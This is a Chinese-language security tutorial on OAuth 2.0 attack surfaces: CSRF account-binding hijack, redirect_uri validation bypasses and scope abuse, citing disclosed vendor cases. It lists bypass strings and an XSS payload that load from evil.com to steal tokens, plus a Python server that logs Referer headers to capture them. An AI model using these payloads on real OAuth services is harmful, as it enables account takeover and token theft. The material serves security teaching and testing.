OAuth 2.0攻击面与案例总结

本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码。

OAuth流程

本文以两种广泛使用的方案为标准展开.。如对流程不了解,请先移步学习: 理解OAuth 2.0

Authorization Code

• response_type = code
• redirect_uri
• scope
• client_id
• state

Implicit

• response_type = token
• redirect_uri
• scope
• client_id
• state

攻击面

• CSRF导致绑定劫持
• redirect_uri绕过导致授权劫持
• scope越权访问

绑定劫持

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.

案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞

授权劫持

根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.

正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:

未验证

• 未验证的情况,可以直接跳出外域.

  案例: 土豆网某处认证缺陷可劫持oauth_token

验证绕过

• auth.app.com.evil.com
• evil.com?auth.app.com
• [email protected] 案例:腾讯OAuth平台 redirect_uri 过滤不严可能导致用户信息遭窃取（二）
• [email protected] 案例:绕过网易oauth认证的redirect_uri限制劫持帐号token
• auth.app.com\@evil.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取（四）
• evil.com\auth.app.com
• evil.com:\auth.app.com
• evil.com\.auth.app.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
• evil.com:\@auth.app.com 案例:新浪微博OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
• 宽字符绕过 案例: 腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取（三）

子域可控

• 对回调地址验证了主域为app.com,但其子域evil.app.com可被任意用户注册使用.

  案例: 新浪微博部分App Oauth2漏洞

跨域

• 利用可信域的url跳转从referer偷取token

  如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

  redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

  认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.

• 利用跨域请求从referer偷取token

  在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

  例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

  例2 利用XSS实现跨域

  redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.

案例: 从“黑掉Github”学Web安全开发

辅助验证脚本

一个简易服务器,会记录来访者的请求头.
1. Python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志

import BaseHTTPServer
import datetime
import sys
import os

SERVER = ‘0.0.0.0‘
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333
LOG_PATH = ‘reqlog.txt‘

class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if ‘.png‘ in self.path:
            print self.path
            fname = ‘1.png‘
        elif ‘.jpg‘ in self.path:
            fname = ‘1.jpg‘
        elif ‘.gif‘ in self.path:
            fname = ‘1.gif‘
        elif ‘.html‘ in self.path:
            fname = ‘index.html‘
        elif ‘clear‘ in self.path:
            os.remove(LOG_PATH)
            self.send_response(200)
            self.end_headers()
            self.wfile.write(‘ok‘)
            return
        else:
            self.send_response(200)
            self.end_headers()
            try:
                self.wfile.write(open(LOG_PATH, ‘r‘).read())
            except IOError:
                print ‘[*]Create logfile: ‘ + LOG_PATH
            return

        message_parts = [‘<br>===== [%s] %s =====‘ % (self.path, datetime.datetime.today())]
        for name, value in sorted(self.headers.items()):
            message_parts.append(‘%s: %s‘ % (name, value.strip()))
        message = ‘<br>‘.join(message_parts) + ‘<br>‘

        with open(LOG_PATH, ‘a‘) as f:
            f.write(message)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(open(fname, ‘rb‘).read())

print ‘[*]Starting server at %s:%d‘ % (SERVER, PORT)
server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)
server.serve_forever()

效果:

参考

• 理解OAuth 2.0 – 阮一峰
• 从“黑掉Github”学Web安全开发 – 陈皓
• 利用OAuth劫持用户身份(Kcon 2014) – 蓝色di雪球
• 乌云已公开漏洞